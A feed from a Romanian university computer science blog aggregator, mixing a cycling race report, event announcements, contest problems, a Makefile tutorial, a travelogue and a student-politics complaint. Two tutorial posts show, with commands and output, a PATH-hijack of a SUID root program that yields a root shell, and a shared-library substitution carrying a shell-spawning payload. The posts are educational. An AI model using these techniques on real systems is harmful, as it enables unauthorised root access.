Planeta CS

Am mai participat la Prima Evadare in 2010 si a fost o experienta fabuloasa. A fost prima mea iesire cu bicicleta pe off-road in vreo 15-20 de ani si a plouat de a rupt. Am terminat in 4 ore si un sfert in conditiile in care eram intr-o forma excelenta (mergeam peste 100km saptamanal). Intre timp am cam abandonat bicicleta din motive de program (dus copil la gradinita)  si am ratat cursa din 2011 din motive personale. Planuiam insa sa ma apuc din nou sa merg si cursa din 2012 a fost exact pretextul necesar. Mi-am facut un upgrade la bicicleta (am luat un Corratec de la Veloteca) si am mai inceput sa avem si iesiri in familie cu bicicleta seara pe langa casa. Silvia (fiica-mea) este super incantata de bicicleta si de-abia asteapta sa mearga si ea la concurs cand mai creste.

Cum anul asta a aparut si posibilitatea de a inscrie o companie am lansat ideea si in facultate si cu putin ajutor ne-am strans o echipa de 8 oameni, echipa destul de competitiva in opinia mea. Colegii de echipa, mai competitivi ca mine au fost si la o recunoastere full pe traseu, eu am facut doar de 2 ori padurea Baneasa, o data cu Raluca (eu pe bicicleta veche) si o data singur contra-cronometru sa ma obisnuiesc cu bicicleta noua pe offroad. A fost ok dar dupa cazaturile din 2010 inca imi este un pic frica cand ies de pe asfalt:( Mi-a mai placut anul asta ca am primit absolut intamplator (0.1% sanse) acelasi numar ca in 2010 – 173, numar pe care intentionez sa-l cer explicit la anul:)

In ziua cursei la 8.30 eram la start sa prind un loc in fata. Stiam din 2010 cat de important este sa pleci cat mai repede. Le-am tinut un loc si colegilor astfel incat atunci cand s-a dat startul eram toti 8 grupati undeva destul de in fata (vreo 20 de metri de linia de start). Am plecat ff tare (gps-ul spunea ceva de 40km/h viteza maxima in zona startului) si am castigat cateva pozitii si totul mergea ok pana am dat de primele denivelari mai mari prin padure. Acolo mi s-a strambat ghidonul, o problema pe care am avut-o de cand am luat bicicleta si pe care am sesizat-o baietilor de la Veloteca  la revizie si pare ca nici ei nu s-au descurcat sa-l stranga mai bine (eu recunosc ca nu ma pricep deloc la reglat biciclete). L-am indreptat un pic si l-am strans cu imbusul dar am pierdut timp si n-a tinut asa ca am mers cam toata cursa cu ghidonul ff sensibil si in general stramb si in plus avea tendinta sa se strambe si mai rau la gropi luate tare sau daca luam o mana de pe ghidon. Asa ca m-am alimentat doar pe asfalt sau la cele 2 puncte (24/40) si am mers ceva mai incet prin padure. Alte probleme n-am mai avut si probabil datorita prudentei cauzate de ghidon am reusit sa nu cad in cei 55km.

Am mers destul de tare prin camp si pe potecile mai putin denivelate, ajutat si de My Tracks (de la Google) care imi spunea din km in km cat am facut si cu ce medie. Mi se pare o idee buna sa te tina in priza si sa te ajute sa tii o medie orara buna. La sfarsitul cursei am vazut ca nu este extrem de precis dar pe mine m-a ajutat.

Am evitat sa opresc ff mult la alimentare. La primul punct am stat doar cat unul dintre organizatori (exceptionali!!!) mi-a umplut bidonul si cat am bagat niste glucoza iar la al doilea punct am baut niste apa si am luat un pumn de glucoza cu care era sa ma inec pe coborarea abrupta care urma imediat:)

Am accelerat chiar un pic pe ultimii 10 km si incepusem sa depasesc oameni pana la km 49? cand s-a intrat pe o poteca ff denivelata pe care ghidonul meu n-a mai rezistat. L-am mai strans inca o data ff tare, am incetinit f mult si am reusit sa trec bucata respectiva si sa sprintez de final pe ultimul kilometru.

Am terminat in cca. 2h55, cu 20 de minute mai bine decat imi fixasem ca obiectiv. Ca si acum 2 ani senzatia de la final a fost absolut fantastica. Este fabulos cand auzi publicul la final si iti dai seama ca s-a terminat chinul si ca ai reusit sa termini. Spun chin nu pentru ca ar fi fost ceva ingrozitor de greu ci pentru ca am incercat sa scot maxim din muschii atrofiati de statul la calculator si din conditia fizica inexistenta pe care o am. M-au motivat 2 lucruri ff tare, tricoul galben pentru primii 100 la care am crezut pana la un punct ca am o sansa (ff naiv din partea mea) si echipa – am vrut tare mult sa intram in primele 5-10 companii participante (nu s-au afisat inca rezultatele asa ca nu stiu daca acest obiectiv s-a realizat)

La final am baut o bere, am facut poze si am plecat pe bicicleta inapoi spre casa.

A fost o experienta super pentru care le multumesc organizatorilor (nu cred ca pot sa repet indeajuns cat de extraordinari au fost) si coechipierilor mei care au mers excelent: Andreea, Tudor, Emil, Andrei, Razvan, Stefan, Matei.

Pt poze cu echipa verificati albumul de pe facebook (multumim fotografilor)

Avem plăcerea de a vă invita la a șasea ediție a școlii de vară IP Workshop. Vă așteptăm din nou anul acesta la Grupul Școlar Economic Administrativ și de Servicii din Călimanești în perioada 30 iulie – 10 august. Lista (aproape completă) a cursurilor propuse în acest an este:

• Administrarea sistemului Linux
• Dezvoltarea aplicațiilor de rețea
• Grafică pe calculator
• Introducere Android
• Programare iOS
• Programare pentru Blackberry Playbook
• Programare Python

Pe lângâ cursuri, vă așteptăm ca de obicei cu activități recreative și excursii.

Participarea la Școala de Vară se face în urma achitării unei taxe de 650 de RON (600 înainte de 1 iunie) pentru elevi și studenți, și 400 de RON (350 inainte de 1 iulie) pentru profesorii însoțitori. Aceasta include cazarea, trei mese pe zi, materialele pentru curs și excursiile. Informații referitoare la costuri găsiți aici.

Pentru mai multe detalii, vă rugam să accesati pagina noastră.

Duminică, pe 13 mai 2012, echipa Facultăţii de Automatică şi Calculatoare a participat la concursul de ciclism cross-country „Prima Evadare 2012” [1].

Cu adevărat ne-am bucurat de o zi uscată şi însorită – şi mai ales de reuşita echipei noastre, care ajuns cu brio la linia de final.

Bateriile au fost complet descărcate şi apoi reîncărcate, într-o zi atipică prin efortul fizic, dar familiară prin atmosfera energică şi prietenoasă.

[1] http://primaevadare.ro/

Problema 14 a concursului provine de la o modalitate de a mima un cuvânt mai complicat într-un joc de mima.

Ideea e simplă: dacă am un cuvânt complicat mimez bucățele mai simple din el, cuvinte noi, mai scurte și mai ușor de mimat. Nu e obligatoriu ca ele să se potrivească complet. De exemplu aș putea mima FREMEN și OM pentru a duce în cele din urmă la FREON.

Primind o listă de cuvinte se cere să identificați cuvântul original. Aveți acces la wordlist în directorul curent.

Ca input veți primi o linie de cuvinte separate cu spații:

freemen om

Ca output trebuie să scoateți ca output cuvântul care se potrivește

freon

Pentru a-l genera va trebui să parcurgeți wordlist și să identificați cuvintele care “sună ca” o combinație între cuvintele de input. E datoria voastră să definiți ce înseamnă “sună ca” și cum combinați cuvintele.

Se garantează existența unei soluții unice.

Sunt 10 teste fiecare cu câte 10 puncte.

Ponderea este 2.3.

Salutare!

Vă invităm joi, 10 mai 2012, la deja tradiționalul Seminar Ixia. Evenimentul se va desfășura în sala EC101 în intervalul 14-16.

Seminarul este destinat tuturor celor interesați de profilul Ixia, de colaborarea cu Facultatea de Automatică și Calculatoare, și de proiecte pe subiecte de sisteme de operare și rețelistică.

Evenimentul va consta din prezentări din partea membrilor Ixia, legat de profilul de activitate al companiei și proiecte rezultate în urma colaborării dintre Ixia și facultate.

În final vom decerna premiul pentru Ixia Challenge. Tot atunci va avea loc tradiționala tombolă cu premii surpriză pentru participanții norocoși. Pe parcursul evenimentului veți putea primi, pentru interactivate, tricouri și alte obiecte promoționale legate de colaborarea dintre Ixia și Facultate.

Vă așteptăm!

In working with large projects it is necessary to compile from multiple sources. Since this is quite difficult, different tools have been developed to make this task easier. One such tool is GNU Make and the associated executable is make. Make solves compilation from multiple sources problem using the dependency relationships between them, described in a special file usually called Makefile.

Syntax

The file which describes the dependency relationships between project’s sources. It should be named Makefile or makefile and has the following syntax:

target: dependency_list
<tab>command

Usually, the target’s name matches the name of the resulted file, except only those which are .PHONY targets, called virtual targets (they do not generate a specific file). List dependencies include dependencies that are required for target execution. Usually, there are files from which the target will be built. A common mistake is that spaces are used instead of TAB. This will result in an error message when running make. An example Makefile is:

exec:
	gcc foo.c bar.c main.c -o exec

This is not the best way we can use make because it doesn’t describe any dependencies, so every time we run make it will run gcc foo.c bar.c main.c -o exec, even if there are no modified sources. Better use is the following example:

exec: foo.c bar.c main.c
	gcc foo.c bar.c main.c -o exec

In this case the target exec will run only if a source has changed. Neither this case takes full advantage of the facilities make offers, because modifying a single source leads to compiling all the existing sources. An ideal Makefile describes the lowest level possible dependencies. In our case it is the object file:

exec: foo.o bar.o main.o
	gcc foo.o bar.o main.o -o exec
foo.o: foo.c
	gcc -c foo.c -o foo.o
bar.o: bar.c
	gcc -c bar.c -o bar.o
main.o: main.c
	gcc -c main.c -o main.o

How it works

A particular target is executed by running make target. If there is no argument, it will execute the first target described. To execute a target all of his dependencies must be satisfied. For our example, exec target is executed only after foo.o, bar.o, main.o, which are conditioned by foo.c, bar.c, main.c, are obtained.

Variables

In Makefile files we can declare variables to replace commonly used sequences or which are changed frequently. The variables’ values are obtained using the character $: $(variable_name). For the example above, let’s suppose that one of the source files uses functions from math.h. We will declare a variable that is meant to specify that for linking:

LDFLAGS=-lm
exec: foo.o bar.o main.o
	gcc $(LDFLAGS) foo.o bar.o main.o -o exec
foo.o: foo.c
	gcc -c foo.c -o foo.o
bar.o: bar.c
	gcc -c bar.c -o bar.o
main.o: main.c
	gcc -c main.c -o main.o

Make offers several predefined variables, of which the most important are:

• $@ - target’s name
• $^ - dependecies list
• $< - the first dependencie

The Makefile above can be written in a more simple way:

CC=gcc
LDFLAGS=-lm
exec: ana.o are.o mere.o
	$(CC) $(LDFLAGS) $^ -o $@
%.o: %.c
	$(CC) -c $< -o $@

Variables in a Makefile can also come from the environment where make is running. While running, make sees each environment variable as a local variable with the same name and the same value. Thus, assigning a value for LDFLAGS variable in the example above can cause changes to any compile command. To convert a local variable in an environment variable in order to use it in other Makefile files we use the export directive:

export variable

Inverse transformation is done using unexport:

unexport variable

.PHONY target

If we want a target to be marked permanently as out of date we will use the .PHONY target. Let’s consider that there is a pack target that creates an archive which contains the project’s sources. If there is one source named pack and it does not change, the command associated with this target will not be executed. For this we use .PHONY. Also, by convention all Makefile files contain a .PHONY target called clean used to delete the files obtained from compiling or running the program.

.PHONY: pack
pack:
	zip -r project.zip *
clean:
	rm *.o *.zip exec

Implicit Rules

Make allows us to use a simplified syntax. For example we don’t always have to write a command for some targets. This is called an implicit rule:

ana.o: ana.c

Another implicit rule is that when running the command make source.c, the file source.c will be compiled even if there is no Makefile. Implicit rules use the environment variables. Thus, the example considered by us is equivalent to:

ana.o: ana.c
	$(CC) -c $(LDFLAGS) ana.c -o ana.o

Because implicit rules use environment variables, it is easy to modify their behavior by a simple change of the variables’ values.

Final touches

In many cases, the first target in a Makefile is a target that compiles all of the sources. It is very useful because we don’t have to specify a target every time we are running make.

Adding these changes to our example we get a complete Makefile:

CC=gcc
LDFLAGS=-lm

all: exec

exec: ana.o are.o mere.o
	$(CC) $(LDFLAGS) $^ -o $@

foo.o: foo.c
	gcc -c foo.c -o foo.o
bar.o: bar.c
	gcc -c bar.c -o bar.o
main.o: main.c
	gcc -c main.c -o main.o

.PHONY: clean
	rm -rf *.o exec

Amsterdam este unul dintre orașele pe care voiam de mult timp să le vizitez și abia săptămâna aceasta am reușit să fac asta. Împreună cu niște prieteni, am petrecut 4 zile în orașul portocaliu. Și ne-am ales cea mai interesantă zi de a ajunge în capitală: 30 aprilie, Ziua Reginei.

Ziua Reginei (care este, de fapt, ziua Reginei Mamă) este sărbătorită de olandezi prin petreceri și parade peste tot prin oraș. Cerința este să porți ceva portocaliu pe tine. Echipați cu tricourile portocalii, am luat ce mijloace transport în comun mai circulau în ziua respectivă și ne-am îndreptat spre centru.

Străzile, și așa înguste, erau pline de oameni ce petreceau. Oriunde te uitai, vedeai doar oameni în portocaliu cu câte o bere în mână. Vremea a ținut cu olandezii pentru că fix de Ziua Reginei a fost un soare cum se vede foarte rar în Țările de Jos. Bărcile de pe canale erau și ele pline de oameni, atmosfera fiind apropiată de Carnavalul de la Veneția. În parcuri, lumea stătea pe iarba verde, profitând de soarele de afară. În centrul orașului, într-un loc numit Dam, se amenajease un parc mic de distracții. Cei ce nu participau la petreceri au ieșit în fața casei lor și vindeau ce lucruri nefolositoare mai aveau acasă. Tot centrul era un mare Flea Market. Înfruntând mulțimea de oameni, am parcus centrul vechi de la un capăt la altul (de la Muzeul Van Gogh până la Gara Centală).

A doua zi, orașul se recupera după Koninginnedag (Ziua Reginei). Mormanele de gunoaie (doze de bere) începeau să fie ridicate. Străzile ajunseseră de la suprapopulate la aproape pustii (probabil încă nu își reveniseră petrecăreții de la băutură). Am început să învățăm liniile de tramvai și metrou și, în general, unde eram pe hartă.

Am pornit de la zona muzeelor, unde este și semnul faimos cu “I Amsterdam”, cu o vizită la Muzeul Van Gogh, unde am aflat tot ce se putea despre artist. Destul de înfometați, am căutat ceva de mâncare și am rămas foarte dezamăgiți de restaurantele olandeze.

După, ne-am îndreptat iar, prin centrul vechi, spre Dam și spre Central Station (Gara centrală, unde și toate liniile de metrou duceau). De lângă Central Sation, am luat un tur cu barca care ne-a dus pe canalele din centru și ne-a făcut un mic rezumat a punctelor istorice ale orașului. Bărcile pentru turiști erau toate acoperite, făcându-se evident faptul că o zi fără ploaie în Amsterdam era ceva neobișnuit (deși noi am avut mare noroc cu vremea). Am profitat și de roata gigantică (similară cu cea din Prater, Viena) instalată în centru și ne-am urcat într-o cabină ce ne-a dus la o întălțime de unde puteam vedea tot orașul și toate lucrurile pe care le vizitasem până atunci.

Ca pentru orice turișt în Amsterdam, următoarele destinații au fost un bar unde aveau diverse sortimente de beri olandeze, un coffeeshop unde…er… nu am găsit cafea și Red Light District. Plimbarea prin Cartierul Roșu a fost mai puțin impresionantă decât te-ai aștepta și descrierea a ce era pe acolo, well, e destul de cunoscută.

A treia zi am început-o prin a vizita universitatea din Amsterdam unde studiau colegii noștrii: VU (Vrije Universiteit). Deși nu era un campus specaculos din afară, în interior arăta foarte bine. Foarte multe laboratoare și birouri, multe facilități pentru studenți. Am trecut și pe lângă biroul lui Andrew S. Tanenbaum și am văzut pe niște uși numele a unor doctoranzi ce au terminat UPB.

După masă, ne-am îndreptat spre una dintre gările din oraș pentru a merge într-un orășel din apropiere, Zaanse Schans în căutarea Morilor de Vânt. Am coborât în gara orașului și dintr-o dată se simțea că este un oraș mic (abia vedeai oameni pe stradă). Am trecut un rău, ocazie cu care am văzut un pod ce se ridica pentru a permite unei nave să treacă și am ajuns într-un mic sătuleț. Priveliștea era foarte interesantă: case mici lângă terenuri irigate de mini canale peste care treceau mini-poduri. Peste aceste căsuțe se înălțau multe mori de vânt gigantice. Vântul bătea foarte tare și învârtea cu putere paletele morilor.

În acest sat, am vizitat două case, una unde se vindea cașcaval făcut în zonă (lângă care era o fermă de oi) și un magazin de saboți. În fiecare se țineau demonstrații de cum se fabrică cașcavalul, respectiv saboții. Am văzut o astfel de demonstrație, în care, în 5 minute, cineva a confecționat dintr-o bucată din lemn un sabot tradițional olandez în fața noastră.

Terminând cu satul de mori de vânt, ne-am îndreptat spre gară spre a merge nu înapoi în Amsterdam, ci în Utrecht, pentru a ne întâlni cu alți prieteni din România ce veniseră acolo la studii. Utrecht este un oraș medieval cu o imagine mult mai veche decât Amsterdam-ul. Mi-a adus aminte de Bruges, în comparație cu Bruxelul. Nu am avut mult timp să stăm, dar am făcut o plimbare prin orășelul care era foarte liniștit.

Ultima zi am dedicat-o unei vizite la Grădina zoologică a Amsterdamului, după care ne-am făcut datoria de turiști și am cumpărat câteva suveniruri. Printre lucrurile interesante de cumpărat au fost niște saboți din porțelan (de la Delft) ce conțineau bulbi de lalele (faimoasele lalele olandeze).

Vizita în Amsterdam a fost foarte interesantă, în special datorită persoanelor care au avut răbdare să ne ducă în locurile care trebuiau. Au fost patru zile pline de activități și tot nu am reușit să vedem tot ce era.  Amsterdamul este un oraș foarte activ și cred că singurul motiv pentru care nu ai vrea să locuiești acolo ar fi vremea. Aș vrea să mă mai întorc pentru a vizita locuri ca Delft și Rotterdam și a dedica mai mult timp orașelor ca Utrecht-ului.

Poblema 13 a concursului pleacă de la o întrebare găsită pe Stack Overflow – Programming Puzzles & Code Golf. De fapt, este chiar întrebarea de acolo, fără a se cere cod cât mai scurt sau alte restricții. Citiți acolo descrierea, inputul, outputul. Deja aveți acolo o implementare, încercați să nu vă inspirați prea mult din ea. Folosiți testele de acolo dar să știți că aici vor fi mult mai complexe.

Contează timpul de execuție, măsurat în secunde, într-o medie de 10 rulări succesive. În plus, timpul maxim de execuție pentru un test este de 100 secunde. Timpul nefolosit pentru un test se reportează testului următor (rotunjit la secunde).

Sunt 10 teste în total. Deci timpul maxim de rulare al programului este de 1000 secunde. Punctajul se calculează ca unde e timpul total obținut de voi. Prin urmare, orice timp sub 500 secunde vă asigură punctaj maxim. După, scade liniar.

Ponderea este 2.2. Spor.

PS: NU voi participa cu un răspuns la întrebarea de pe PCG. Voi puteți participa.

[Part 1 from ROSEdu Techblog]

Environment variables are sometimes very important when creating new processes. For example, the PATH variable, that decides what executable to run.

The easiest example to exploit PATH is to add the current directory . to the list and overwrite common shell commands with something else.

$ cat ./ls
echo P0wn3d
$ ls
file1 file2
$ ./ls
P0wn3d
$ export PATH=.:$PATH
$ ls
P0wn3d

But that can only affect the user’s shell and can’t do harm to the system. What if some other conditions exist in the system, like the use of the SUID bit. Normal processes are run as the user who executes them, regardless of who owns the executable file (as long as the user who runs the file can read the file). If the SUID is set on an executable file, any process started from that executable will run as the owner of the file, not shell owner. Here is an example of a very insecure source that shouldn’t be SUID-ed.

#include<stdlib.h>

int main(void)
{
system(“ls”);
return 0;
}

Let’s assume that the compiled executable from this code is owned by root, SUID-ed and put into /bin with the name ls_root.

$ ls -la /bin/ls_root
-rwsrwsr-x 1 root root 7163 2012-03-21 12:28 /bin/ls_root

What this will enable, for example, is the listing of the /root directory by any user.

$ cd /root
$ ls
ls: cannot open directory .: Permission denied
$ sudo ls
test
$ ls_root
test

The code simply executes the ls command. But what if the ls command isn’t doing what it is supposed to do? Given this setup, as a normal user, we can do the following:

$ ln -s /bin/sh ls
$ echo $$
32655
$ ls
ls  ls_root.c
$ ./ls
$ echo $$
32730
$ whoami
alexj
$ exit
$ export PATH=.:$PATH
$ ls_root
# whoami
root
#

The ls_root process will run the ls command. The ls command will run an executable specified by the PATH variable (the executable is /bin/ls). But if the PATH variable is changed in the current bash process, the executable ran by the ls command will now become something else. If the ls_root command is ran by root (with the help of the SUID bit), any of its children will also be processes of root. So, if the ls command will now run a bash executable, it will run a root owned executable that leads to root access.

The SUID is something that is used in Linux systems (sudo and even ping use it), but these executables are very carefully implemented so that normal users can’t exploit them.

[Part 2 from ROSEdu Techblog]

Based on the previous, let’s go one step further and study a similar exploit. This time we’ll be dealing with executables and dynamic libraries.

Let’s consider a simple custom library function:

/* random.h */
int xkcd_random(void);

/* random.c */
int xkcd_random()
{
return 4;
}

We can build it into a shared library:

$ gcc –share -fPIC -o librandom.so random.c

Let’s take a simple program that uses our function:

/* main.c */
#include <stdio.h>
#include “random.h”

int main(void)
{
printf(“8ball says:%d\n”, xkcd_random());
return 0;
}

If we want to use out shared object file in the current directory, we have to do two things. First, compile the program and link the shared library (with the -l flag) using libraries in the current directory (we do that using the -L. flag).

$ gcc -o main -L.  main.c -lrandom

Second, the library will be linked at compile time, but it won’t be loaded at runtime unless the loaded knows where the library is, with the help of the LD_LIBRARY_PATH variable.

$ ./main ./main: error while loading shared libraries:
librandom.so: cannot open shared object file: No such file
or directory
$ export LD_LIBRARY_PATH=.:$LD_LIBRARY_PATH
$ ./main
8ball says:4

To ensure that we can always use the library, we can place it in the system’s library directory. Note that this means that we trust the code of that library and only the administrator can do this

# mv librandom.so /usr/lib

So now, each time the main program runs, the loader will dynamically load the random function from the system. But what if we have another function, from another library that has the same name, but does something else:

/* evil.c */
#include <unistd.h>
int xkcd_random()
{
return 666;
}

$ gcc –share -fPIC -o librandom.so evil.c

If we overwrite the LD_LIBRARY_PATH variable with the . directory, the loader will use the ./librandom.so instead of /usr/lib/librandom.so and it doesn’t require any modification of the main program (no recompile needed).

$ ./main
8ball says:4
$ export LD_LIBRARY_PATH=.:LD_LIBRARY_PATH
$ ./main
8ball says:666

This is a similar to the PATH variable hack discussed in the previous article, but at a much more lower level. We can add a possible exploit here, like a shell execution:

#include <unistd.h>
int xkcd_random()
{
execlp(“/bin/sh”, “/bin/sh”, NULL);
return 666;
}

Like we did before, we used a root-owned executable that had the SETUID bit set, in order to run things as root.

$ ls -la main
-rwsrwsr-x 1 root root 7192 2012-04-18 15:13 main
$ export LD_LIBRARY_PATH=.:LD_LIBRARY_PATH
$ ./main
8ball says:4

The program executed safely.

The Library Loader is smart enough to ignore the LD_LIBRARY_PATH when the executable is setuid-ed, because of exact such attacks. So even though you can exploit programs as a normal user, you can’t affect system. So low level is a little more secure than scripting level.

Problema 10 a concursului este extrem de simplă. La prima vedere.

Se cere să construiți un program capabil să caute o listă de cuvinte într-o matrice de caractere. Word Search e descrierea problemei pe Wikipedia.

Ca input veți primi două nume de fișier ca argument în linia de comandă. Primul reprezintă descrierea matricii, de exemplu:

TODOW
RACOT
ASDFG

Al doilea reprezintă lista de cuvinte de căutat — nu toate sunt în matrice.  De exemplu:

TODO
CAR
DOG
TREE

Dat fiind faptul că aceste cuvinte se pot găsi pe orizontală, verticală sau diagonală, va trebui ca în output să întoarceți câte o linie pentru fiecare cuvânt găsit cu următorul format: cuvântul, linia și coloana caracterului de start (indexate de la 0), direcția exprimată în direcții cardinale (N, E, S, W, NE, SE, NW, SW). NU contează ordinea cuvintelor. De exemplu:

TODO 0 0 E
DOG 0 2 SE
CAR 1 2 W

Sunt 10 teste, fiecare cu câte 10 cuvinte găsibile. Fiecare cuvânt găsit cum trebuie valorează 1 punct. NU există soluții multiple.

Timp de rulare pentru fiecare test: 10s.

Pondere: 1.9.

Mult spor.

Salutare!

In perioada 18-22 iunie 2012, va invitam sa participati la “Scoala de Vara de Programare Functionala”.

Pregatim prezentari, cursuri si tutoriale cuprinzand:

• utilitatea programarii functionale
• notiuni introductive despre programarea in Scheme si Haskell
• elemente distinctive ale limbajelor: tipuri in Haskell, evaluare lenesa si continuari in Scheme
• testarea codului in limbajele functionale
• interfete grafice in Haskell
• programare paralela in Haskell si Erlang
• programarea functionala in industrie
• notiuni avansate despre tipuri de date in Haskell: sinteza de kind
• aplicatii ale continuarilor, corutine

Scoala este deschisa tuturor studentilor. Pentru participantii care nu sunt
familiarizati cu programarea functionala, vor exista cursuri pregatitoare.
Acestea acopera partial problemele discutate la cursul de Paradigme de
Programare.

Accentul se va pune pe diverse scenarii in de aplicare a programarii
functionale, si vom avea si invitati din industrie.

Mai multe detalii puteti gasi pe la http://theoretical.cs.pub.ro/fpss12/.

Va asteptam!

Universitatea POLITEHNICA din București are plăcerea de vă invita joi, 17 mai 2012, începând cu ora 19:00, în Sala Senatului din Rectorat pentru vizionarea filmului The PhD Movie. Vizionarea filmului este  sponsorizată de Intel România.

Plecând de la personajele prezentate în benzile desenate „PhD Comics”, filmul prezintă evoluția câtorva studenți la doctorat, împreună cu dificultățile pe care aceștia le întâlnesc, stereotipurile cercetării științifice, administrarea ineficientă a timpului, relația cu conducătorul de doctorat sau căutarea meselor de prânz gratuite.

Durata evenimentului este de aproximativ 2 ore și jumătate, incluzând și o scurtă prezentare a oportunităților de cercetare oferite de Intel Romania.

Pentru a vă înscrie vă rugăm să vă înregistrați la - http://bit.ly/PhD-Movie-UPB.  Înscrierea se poate realiza până pe 14 mai, seara.

Participarea este gratuită!

Pentru mai multe informații puteți trimite un email la adresa phd-movie@cs.pub.ro.

Salutare!

În perioada următoare, Departamentul de Calculatoare organizează întâlniri cu studenții pentru prezentarea programelor de specialitate: C1, C2, C3, C4, C5.

Prezentarea programelor de specialitate va fi realizată joi, 3 mai 2012, respectiv joi, 10 mai 2012, la fel ca mai jos.

Joi, 3 mai 2012, ora 19:00, sala EC105

• Programul de specialitate C1: Arhitectura sistemelor de calcul
• Arhitecturi și prelucrări paralele (APP) – Prof. N. Țăpuș
• Structuri multiprocesor (SMP) – Prof. F. Iacob
• Proiectarea rețelelor (PR) – Conf. R. Rughiniș
• VLSI I (VLSI) – Prof. A. Petrescu
• Proiectarea și Dezvoltarea Sistemelor Distribuite (PDSD) – Ș.l. M. Andreica
• Programul de specialitate C2: Sisteme încorporate
• Sisteme cu Microprocesoare (SM) – Conf. C. Popescu
• Procesarea semnalelor (PS) – Prof. Ș. Petrescu
• Sisteme încorporate (SI) – Ș.l. D. Tudose
• Testarea sistemelor (TS) – Conf. I. Bucur
• Sisteme tolerante la defecte (STD) – Conf. I. Bucur
• Programul de specialitate C3: Sisteme de programe de bază
• Baze de date II (BD2) – Prof. M. Petrescu
• Compilatoare (CPL) – B. Nițulescu
• Sisteme de programe pentru rețele de calculatoare (SPRC) – Prof. V. Cristea
• Inteligență artificială (IA) – Prof. A. Florea
• Sisteme de operare II (SO2) – Dr. O. Purdilă
• Instrumente pentru dezvoltarea programelor (IDP) – Ș.l. C. Dobre

Joi, 10 mai 2012, ora 19:00, sala EC105

• Programul de specialitate C4: Sisteme de programe de aplicații
• Sisteme de prelucrare grafică (SPG) – Prof. F. Moldoveanu
• Inteligență artificială (IA) – Prof. A. Florea
• Interacțiunea om-calculator (IOC) – Prof. Ș. Trăușan
• Învățare Automată (IA) – Prof. A. Forea
• Sisteme CAD/CASE (SCAD) – Conf. A. Boicea
• Aplicații integrate pentru întreprinderi (AII) – Ș.l. M. Ionescu
• Programul de specialitate C5: Tehnologia informației
• Utilizarea bazelor de date (UBD) – Prof. F. Rădulescu
• Evaluarea performanțelor (EP) – Prof. D. Irimescu
• Managmentul proiectelor software (MPS) – Prof. C. Boiangiu
• Programare WEB (PW) – Ș.l. C. Dobre
• Integrarea sistemelor informatice (ISI) – Prof. M. Mocanu
• E-Commerce (EC) – Conf. N. Popescu

Concursul de programare a intrat pe ultimul tronson. Conform regulamentului, luna mai este ultima în care se mai pot trimite probleme. În plus, ultima săptămână din mai va accepta doar soluții la problemele propuse începând de azi.

Clasamentul îl arată pe Flavius detașat în fruntea tuturor dar poate fi schimbat destul de mult dacă vă apucați să mai rezolvați probleme :)

Mult spor :)

Acest articol NU este un pamflet la adresa LSAC. Bazat pe fapte reale și cu imagini doveditoare.

Dacă mai țineți minte acum câteva luni a fost un scandal cu LSAC-ul (1, 2) și schimbarea unui consiliu al elevilor ales în mod legal. Atunci chiar am zis că vreau să le mai acord o șansă, că poate se vor schimba și vor ieși lucrurile mai bine. Well, m-am înșelat extrem de tare.

Nu vreau să zic de faptul că joi au fost alegeri în facultate pentru viitorul decan și Silvia nu a trimis până acum nici un mail în care să anunțe rezultatele de acolo deși a participat în calitate de reprezentant al studenților de master. Era acolo, am văzut-o. De fapt, nici anul 4 nu a primit aceste informații. Le-am aflat accidental, neoficial și apoi au apărut și pe FB într-un mic post așa, ascuns pe acolo, pe grupul celor de an 1. Să zicem că poate a fost ocupată, iertăm dar nu uităm că iar nu și-au făcut datoria. Laura și vechiul consiliu nu uitau să facă update la timp. Dar dacă unii au vrut alegeri (i)legale, asta e.

Articolul a pornit de la un mesaj al actualului președinte LSAC care a decis să facă un apel comunist ca pe vremea vechilor zile de 23 august când trebuiau umplute stadioanele:

După care, primesc în mod public link către grupul lor. În care dau peste o chestie foarte interesantă:

Nu vi se pare ciudat ca oamenilor să li se zică cu cine să voteze? Pe lângă alte ilegalități petrecute la acele voturi magnifice  (voi pune link-uri ca update pe măsură ce le primesc).

Să nu uităm și mesajul de după alegeri (nu vreau să-l mai pun și pe ăla de pe FB, ar trebui să caut mult în spate pentru asta și nu merită)

Și ca să terminăm cu pozele și să vedeți cum se desfășoară lucrurile în magnifica ligă, avem o poză nouă de pe grupul lor foarte public.

Ca activități, excluzând petreceri și LAN party și alegeri tot ce au mai făcut stimabilii este să organizeze Dell Technical Trainings (nu prea reiese partea lor din organizare dar whatever) și să se bage în seamă extrem de mult la Ziua Porților Deschise UPB, prostind alți viitori studenți, viitori membri comuniști ai LSAC (nu mai zic că articolul e plin de falsuri, au fost și membri ROSEdu acolo pentru a întâmpina elevii și membrii ai altor organizații dar ce contează, doar LSAC trebuie să apară pe site-ul stimabililor, nu?).

Din păcate politica lor agresivă de recrutare dă roade. Studentul nou venit în facultate este acostat pe 1 octombrie și aproape înregimentat în această organizație unde nu face nimic util decât petreceri, revolte (nu are rost să pun poze cu mesajele din jurul revoltelor din ianuarie, sunt ceva mai decente), fraude electorale și cam atât.

Din fericire unii studenți observă că nu au ales bine și se organizează spre celelalte organizații din Politehnică, organizații precum BEST, eeStec, ASAFF (FB link only :(), Ceata, ROSEdu, whatever. Organizații de unde vezi mult mai ușor ce ai făcut și unde realizările sunt consistente șî te ajută pe viitor. Dar mai durează până se trezesc studenții amețiți.

Și greșesc dacă visez un decan care să pună piciorul în prag și să sisteze activitățile ilegale din LSAC? Să rămână organizația, nu vreau desființarea ei, eliminarea unui drept al studenților. Dar să se facă activități legale. Visez prea mult?

PS: Îmi cer scuze pentru studenții de treabă membri LSAC. Sunt câțiva și sper să plece sau să se schimbe organizația pentru ca ei să nu piardă timpul degeaba acolo. În celelelalte organizații cunosc oameni de treabă și chiar văd lucruri făcute de fiecare din ele.

PPS: De ce nu mă leg de celelalte organizații? Pentru că ele își fac treaba și nu au președinți aroganți și programe prin care se impun forțat fără să facă nimic util.

Edit 01: Încă o poză :)

Edit 01: Încă o poză din care vedem cum e reprezentată facultatea în exterior de stimabilul președinte (care iar va zice că i-am reinterpretat vorbele:P)

More to come.

Hello!

We are Adrian Niţu and Andrei Datcu, two students who with the help and guidelines of our mentor,  Veaceslav Munteanu tried to make our first, small steps into the great world of open  source by working for digiKam project.
What is DigiKam?
DigiKam is a photo editing and management software. It’s motto is “Manage your photographs like a professional with the power of open source”.  Because it’s a very big and important project, digiKam is divided into two parts: digiKam core and KipiPlugins, which is a backbone constantly extended and maintained  thus offering it’s users many features. It uses the following technologies:

• C++
• Qt

Our tasks:
